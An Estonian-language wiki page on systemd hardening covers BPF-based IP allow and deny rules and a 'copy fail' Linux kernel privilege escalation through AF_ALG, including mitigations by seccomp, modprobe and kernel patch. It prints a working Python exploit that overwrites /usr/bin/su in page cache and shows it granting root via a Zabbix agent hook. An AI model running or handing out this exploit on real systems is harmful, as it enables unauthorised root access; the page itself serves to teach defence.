✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                         0.2&lt;br /&gt;
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                         0.2&lt;br /&gt;
✗ IPAddressDeny=                                              Service does not define an IP address allow list                             0.2&lt;br /&gt;
✗ NotifyAccess=                                               Service child processes may alter service state                              0.2&lt;br /&gt;
✗ UMask=                                                      Files created by service are world-readable by default                       0.1&lt;br /&gt;
&lt;br /&gt;
→ Overall exposure level for nginx-07.service: 9.9 UNSAFE 😨&lt;br /&gt;
kasutaja@ph-minio-01:~$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===bpf integratsioon===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* nö uuemal ajal on systemd ja bpf integreeritud, nt võrgu paketifiltri osas&lt;br /&gt;
* bpf integratsioon on seotud cgroup nähtusega, st kitsenduste tegemisel saab kaustada info võrguaadresside, systemd objektide (slice, service) jms kohta (selles mõttes paindlikum kui niisama iptables/nft kuigi ka seal on iseenesest kasutajaga seostamine olemas)&lt;br /&gt;
* bpf ei ole stateful tulemüür, st bpf on stateless (conntrack jms puudub)&lt;br /&gt;
* bpf palju suurema jõudlusega kui tava-paketifilter&lt;br /&gt;
&lt;br /&gt;
====Service====&lt;br /&gt;
&lt;br /&gt;
Tavalisse service unitisse lisada Service sektsiooni 'IPAddressAllow' ja 'IPAddressDeny' direktiive, nt (see on küll podmaniga seotud service generated variant)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat .config/containers/systemd/nginx-06.container&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=My Nginx Quadlet Service - 06&lt;br /&gt;
DefaultDependencies=no&lt;br /&gt;
After=network.target&lt;br /&gt;
&lt;br /&gt;
[Container]&lt;br /&gt;
Image=docker.io/library/nginx:alpine&lt;br /&gt;
PublishPort=8096:80&lt;br /&gt;
ContainerName=nginx-06&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
# Block all IP traffic by default&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
# Then explicitly allow only what you need (e.g., your local subnet)&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.1&lt;br /&gt;
IPAddressAllow=8.8.8.8&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
# This tells systemd to start it when you log in&lt;br /&gt;
WantedBy=default.target&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ipaddressallow ja deny väärtusi võrreldakse ip pakettide src ja destination aadressidega st piisab kui üks neist klapib&lt;br /&gt;
&lt;br /&gt;
Kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl --user daemon-reload&lt;br /&gt;
root@ph-minio-01:~# systemctl --user stop nginx-06&lt;br /&gt;
root@ph-minio-01:~# systemctl --user start nginx-06&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemuse uurimine, väätus id 185 on dünaamiline, õige saab ära vaadata 'bpftool prog show' väljundist&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 185&lt;br /&gt;
185: cgroup_skb  name sd_fw_egress  tag df35b3b526089f21  gpl run_time_ns 1378480 run_cnt 1215&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# bpftool prog show id 186&lt;br /&gt;
186: cgroup_skb  name sd_fw_ingress  tag 208d1bf35e7113d2  gpl run_time_ns 516780 run_cnt 1204&lt;br /&gt;
	loaded_at 2026-04-20T12:44:13+0300  uid 0&lt;br /&gt;
	xlated 184B  jited 140B  memlock 4096B  map_ids 51&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* run_cnt näitab kui mitmel korral on kitsendust rakendatud&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map show id 51&lt;br /&gt;
51: lpm_trie  name 4_nginx_06.serv  flags 0x1&lt;br /&gt;
	key 8B  value 8B  max_entries 3  memlock 156B&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# bpftool map dump id 51&lt;br /&gt;
key: 20 00 00 00 08 08 08 08  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 20 00 00 00 7f 00 00 01  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
key: 18 00 00 00 c0 a8 0a 00  value: 01 00 00 00 00 00 00 00&lt;br /&gt;
Found 3 elements&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sellise skriptiga saab teisendada loetavamaks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# cat bpftool-map-dump.sh&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
bpftool map dump id 51 | grep '^key' | while read -r line; do&lt;br /&gt;
    bytes=($(echo $line | cut -d: -f2))&lt;br /&gt;
    printf &amp;quot;Prefix: %d | IP: %d.%d.%d.%d\n&amp;quot; &amp;quot;$((16#${bytes[0]}))&amp;quot; &amp;quot;$((16#${bytes[4]}))&amp;quot; &amp;quot;$((16#${bytes[5]}))&amp;quot; &amp;quot;$((16#${bytes[6]}))&amp;quot; &amp;quot;$((16#${bytes[7]}))&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ./bpftool-map-dump.sh&lt;br /&gt;
Prefix: 32 | IP: 8.8.8.8&lt;br /&gt;
Prefix: 32 | IP: 127.0.0.1&lt;br /&gt;
Prefix: 24 | IP: 192.168.10.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena ei saa konkteinerist välja võrku mujale pöörduda.&lt;br /&gt;
&lt;br /&gt;
====Slice====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl edit user.slice&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# cat /etc/systemd/system/user.slice.d/override.conf&lt;br /&gt;
[Slice]&lt;br /&gt;
# This is a slice, but we can still pass BPF instructions&lt;br /&gt;
IPAddressDeny=any&lt;br /&gt;
IPAddressAllow=192.168.10.0/24&lt;br /&gt;
IPAddressAllow=127.0.0.0/8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kehtestada muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# systemctl daemon-reload&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logida välja ja sisse ssh pealt näiteks ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
2 packets transmitted, 0 received, 100% packet loss, time 1005ms&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
bpftop esitab ülevaatlikult&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260420-systemd-bpf-01.png|800px]]&lt;br /&gt;
&lt;br /&gt;
ebpf on seotud mitte protsessiga, aga cgroup'iga nt nginx cgroup juurde kuuluvate ebpf'ide nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@systemd-02:~# bpftool cgroup show /sys/fs/cgroup/system.slice/nginx.service&lt;br /&gt;
ID       AttachType      AttachFlags     Name&lt;br /&gt;
74       cgroup_inet_ingress multi           sd_fw_ingress&lt;br /&gt;
73       cgroup_inet_egress multi           sd_fw_egress&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===20260501 - copy fail eksploit===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* küllap kõik see lugu on ajutise iseloomuga praktiliselt, st varsti saabub uus parandatud linux kernel&lt;br /&gt;
* pedagoogilises mõttes on see huvitav lugu&lt;br /&gt;
* vahetulemusi on huvitav pasteda chatgpt'le ja küsida selgitusi&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - af_alg====&lt;br /&gt;
&lt;br /&gt;
af_alg on omaette 'address family' nagu af_unix (nn unix soket), af_inet (tavaline internet), af_netlink, af_xdp jt. Tema kaudu saab eksootilisem tarkvara kasutada riistvara lähedast krüptimist, nt (kcapi - kernel crypto api)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# apt-get install kcapi-tools&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ date &amp;gt; cleartext.txt&lt;br /&gt;
&lt;br /&gt;
imre@pwrk-02:/home/imre/20260430$ kcapi-enc -e -c &amp;quot;cbc(aes)&amp;quot; --passwd &amp;quot;MyPassword123&amp;quot; --iv $(openssl rand -hex 12) &amp;lt; cleartext.txt &amp;gt; encrypted.bin&lt;br /&gt;
kcapi-enc - Warning: Password on command line is visible in process listing and /proc! Use --passwd_fd command line option!&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 iterations used: 131072&lt;br /&gt;
kcapi-enc - Warning: PBKDF2 salt used: 245b53106bb1d0cf09700fd63161dd0b59601995e368d6410d6e59adbd7e8468&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* valitud krüpto 'cbc(aes)' asemel saab olla ka muud, nad kõik toimetavad af_alg soketi kaudu, aga edasi kasutavad erinevaid oskusi, nendega on seotud erinevad täiendavad kerneli moodulid - eksploitimisega on seotud konkreetselt üks - algif_aead&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
imre@pwrk-02:~$ lsmod | grep alg&lt;br /&gt;
algif_hash             12288  0&lt;br /&gt;
algif_rng              12288  0&lt;br /&gt;
algif_skcipher         12288  0&lt;br /&gt;
algif_aead             12288  0&lt;br /&gt;
af_alg                 32768  4 algif_hash,algif_skcipher,algif_aead,algif_rng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nn af_alg funktsionaalsuse kasutamine toimub user-space pealt ja teenindamine toimub kernel-space peal, ja nagu tavaliselt seda nö horisonti ületatakse syscall tehnika abil. syscall'il on tohtu vastutus oma sisendi kontrollimise ja oma tegevuste osas - privilegeerimata actor palub midagi korda saata väga privilegeeritud actoril; mingis mõttes on ta nagu setuid bit või sudo-abil-root-minemine.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - eksploit====&lt;br /&gt;
&lt;br /&gt;
copy fail eksploit kasutab ära af_alg osakonnas kerneli ümbruses toimuvaid võimalusi, privilegeerimata kaustajal on võimalik kirjutada page cache sisu mingis ulatuses üle. Nt selliselt&lt;br /&gt;
&lt;br /&gt;
* esmalt korraldatakse page cache peale mõni setuid bit sisselülitusega fail, nt 'su' - nt lugedes faili tavalisel viisil satub tema sisu page cache'i&lt;br /&gt;
* siis muudetakse sisu sobivalt page cache osakonnas (st arvuti mälus) - see on võimalik tänu eksploidi toimimisele - üldiselt on linux kerneli lubadus selline, et kui protsess (privilegeerimata protsess antud juhul) ei saa failisüsteemis faili muuta, siis ei saa ta tegeleda ka cache'itud vastava faili sisuga)&lt;br /&gt;
* käivitatakse muudetud failile vastav programm, kuna fail on juba page cache peal, siis failisüsteemist seda uuesti ei loeta - setuid bit kätega minnakse root shelli&lt;br /&gt;
* teoreetiliselt võiks olla võimalik kas vastupidine, st mõnele pahale programmile vastavale failile pannakse külge setuid bit, aga antud juhul ei ole see kõneks - seda oleks ehk raskem teha st sobiv koht cache pealt üles otsida, ja see setuid bit on faili metaandmete koosseisu st asub inode cache peal mitte page cache, ja kõneksolev eksploit sinna ei saa sodima minna&lt;br /&gt;
* page cache on üldiselt seotud vfs (virtual filesystem) nähtusega, st sellega, mis on nö ext4 jt failisüsteemide kohal ja protsesside all&lt;br /&gt;
&lt;br /&gt;
Asjaosalised kihid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
arvutis töötavad protsessid (asuvad arvuti mälus)&lt;br /&gt;
  &lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
vfs (virtual file system) (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
page cache (asub arvuti mälus)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
ext4 filesystem (asub plokkseadmel)&lt;br /&gt;
&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
&lt;br /&gt;
plokkseade (asub nö füüsilisel esemel)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* page cache peale tehtud muudatuse saab unustada öeldes '# echo 3 &amp;gt; /proc/sys/vm/drop_caches'&lt;br /&gt;
* page cache peale tehtud muudatuse saab põlistada ext4 failisüsteemi öeldes 'sync'&lt;br /&gt;
* plokkseadme puhvrid saab madalamale kihile kirjutada põlistada blockdev käsu abil&lt;br /&gt;
&lt;br /&gt;
Üldiselt on syscallidel tohutu vastutus oma sisendit valideerida ja jälgida mida nad edasi teevad, tundub, et antud juhul af_alg teemaga tegelevad syscall'id seda vastutust ei kanna välja st lasevad ennast manipuleerida.&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte - leevendus====&lt;br /&gt;
&lt;br /&gt;
Kõige õigem oleks kernel tarkvara parandus ja küllap see varem või hiljem saabub. Seniks on võimalik rakendada ühte- ja teistsugust leevendust (mitigation)&lt;br /&gt;
&lt;br /&gt;
* uskuda, et pahatahtlik kasutaja süsteemis ei tegutse programme kohale tuues ja neid kävitades (nö tavaline veebiserver pigem ei tohiks lubada ette anda koodi mida käivitatakse; tavaline veebiserver käivitab süsteemi haldajate poolt paigaldatud koodi)&lt;br /&gt;
* lülitada kerneli tasemal välja af_alg funktsionaalsus (modprobe) - mõju globaalne&lt;br /&gt;
* lülitada syscall tulemüüri tasemel välja af_alg funktsionaalsus (nn secure computing ehk seccomp, mis omakorda põhineb bpf tehnikal, vist nn 'Seccomp-BPF', mida ei haldab bpftool (bpftool tegeleb eBPF osakonnaga nähtustega) - mõju protsessile (ja tema järglastele, või systemd service unitiga seotud protsessidele)&lt;br /&gt;
&lt;br /&gt;
Kerneli tasemel välja lülitamine eeldab praktiliselt, et af_alg funktsionaalsus on realiseeritud tuuma moodulite abil (ei ole otse nn /boot/vmlinuz kerneli sisse kompileeritud). Tavaliselt on modulaarne. Mõju on globaalne.&lt;br /&gt;
&lt;br /&gt;
syscall tulemüüri tasemel välja lülitamine on paindlik - saab (peab st muul viisil ei saagi praktiliselt st globaalselt ei saa (kuigi teoreetiliselt saaks init=pid=1 protsessile ka seccomp abil kitsendusi rakendada, aga tavaliselt nii ei tehta) erinevate protsesside (protsesside komplektide) jaoks muudatust kehtestada. Seejuures saab määrata, mis keeldu ületada püüdva protsessiga edasi juhtub: 1. ta töötab edasi, 2. ta töötamine lõpetatakse&lt;br /&gt;
&lt;br /&gt;
Leevenduste iseloomustus&lt;br /&gt;
&lt;br /&gt;
* systemd (seccomp) - operatsioonisüsteemi syscall liidesel asuv nö tulemüür, mingis mõttes asub kerneli protsesside poole vaatavas osas&lt;br /&gt;
* apparmor (lsm - linux security modules)- erinevate süsteemi võimekustele ligipääsemise takistamised (asub kerneli protsesside poole vaatavast osast teisel pool)&lt;br /&gt;
* modprobe - kerneli funktsionaalsust realiseeriv komponent (kahe esimese puhul ei saa funktsionaalust kasutada isegi kui kernelis on see iseenest kohal)&lt;br /&gt;
&lt;br /&gt;
====Eksploit näide====&lt;br /&gt;
&lt;br /&gt;
https://copy.fail/ - tõenäoliselt on see nö puhas eksploit, st midagi suurelt temaga katsetamine ussitama ei aja st vaevalt ta interneti isandale sama arvuti /root/.ssh sisu saadab, aga kuna ta page cache sobib ja vaevalt, et seda exploiti on liiga palju testitud ja arendatud, siis ei ole võimatu ext4 failisüsteemi riknemine, arvutis töötavate protsesside segadusse sattumine kuni os krahhini; st proovida ehk maksab, aga arvutis, mis pärast kustutatakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ cat /home/tmp/cf.py&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os as g,zlib,socket as s&lt;br /&gt;
def d(x):return bytes.fromhex(x)&lt;br /&gt;
def c(f,t,c):&lt;br /&gt;
 a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
 try:u.recv(8+t)&lt;br /&gt;
 except:0&lt;br /&gt;
f=g.open(&amp;quot;/usr/bin/su&amp;quot;,0);i=0;e=zlib.decompress(d(&amp;quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&amp;quot;))&lt;br /&gt;
while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
g.system(&amp;quot;su&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
$ chmod 0755 /home/tmp/cf.py&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
zabbix agent kaudu&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# cat /etc/zabbix/zabbix_agent2.d/misc.conf&lt;br /&gt;
UserParameter=cf,echo id | /home/tmp/cf.py 1&amp;gt;&amp;gt;/home/tmp/cf.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# zabbix_get -k cf -s 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
logi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
..&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
uid=0(root) gid=109(zabbix) groups=109(zabbix)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
page cache puhastamine (&amp;quot;3&amp;quot; kasutamine nö puhastab kõik, inode cache, page cache jne, põhimõtteliselt sobiks ka &amp;quot;1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# echo 3 &amp;gt; /proc/sys/vm/drop_caches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
katsetamisel võib olla vajalik vahel jällegi moodulid välja lülitada, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# rmmod algif_rng algif_aead algif_skcipher algif_hash af_alg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - systemd service====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on service põhine&lt;br /&gt;
* praktiliselt võiks rakendada avalikku võrku publitseeritud teenuste (protsesside) jaoks mille kaudu võiks olla selline python skript laadse sisu käivitamine (mingit tüüpi exec syscall rakendamine) realistlik&lt;br /&gt;
* öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)&lt;br /&gt;
* kehtestamiseks tuleb systemd service stop ja start öelda&lt;br /&gt;
&lt;br /&gt;
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco&lt;br /&gt;
Seccomp:	0&lt;br /&gt;
Seccomp_filters:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# root@pwrk-02:~# systemctl edit zabbix-agent2&lt;br /&gt;
[Service]&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
# SystemCallErrorNumber=kill&lt;br /&gt;
# SystemCallErrorNumber=EPERM&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG&lt;br /&gt;
* SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab&lt;br /&gt;
&lt;br /&gt;
peale muudatust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eksploit kasutamine annab nüüd sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
...&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;&lt;br /&gt;
    while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
                   ^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 5, in c&lt;br /&gt;
    a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
      ^^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/usr/lib/python3.12/socket.py&amp;quot;, line 233, in __init__&lt;br /&gt;
    _socket.socket.__init__(self, family, type, proto, fileno)&lt;br /&gt;
OSError: [Errno 97] Address family not supported by protocol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - apparmor profile====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Leevendus - modprobe====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
install algif_aead /bin/true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)&lt;br /&gt;
* selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu&lt;br /&gt;
* muudatus kehtestub koheselt&lt;br /&gt;
&lt;br /&gt;
ning parem oleks ehk ka initramfs uuesti tekitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# update-initramfs -u&lt;br /&gt;
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic&lt;br /&gt;
I: The initramfs will attempt to resume from /dev/dm-2&lt;br /&gt;
I: (/dev/mapper/system-swap)&lt;br /&gt;
I: Set the RESUME variable to override this.&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'&lt;br /&gt;
etc/modprobe.d&lt;br /&gt;
etc/modprobe.d/amd64-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/blacklist-ath_pci.conf&lt;br /&gt;
etc/modprobe.d/blacklist-firewire.conf&lt;br /&gt;
etc/modprobe.d/blacklist-framebuffer.conf&lt;br /&gt;
etc/modprobe.d/blacklist-rare-network.conf&lt;br /&gt;
etc/modprobe.d/blacklist.conf&lt;br /&gt;
etc/modprobe.d/dkms.conf&lt;br /&gt;
etc/modprobe.d/intel-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/iwlwifi.conf&lt;br /&gt;
etc/modprobe.d/mdadm.conf&lt;br /&gt;
etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc - docker rootful====&lt;br /&gt;
&lt;br /&gt;
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus&lt;br /&gt;
&lt;br /&gt;
* docker&lt;br /&gt;
* containerd&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-debian-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/security/&lt;br /&gt;
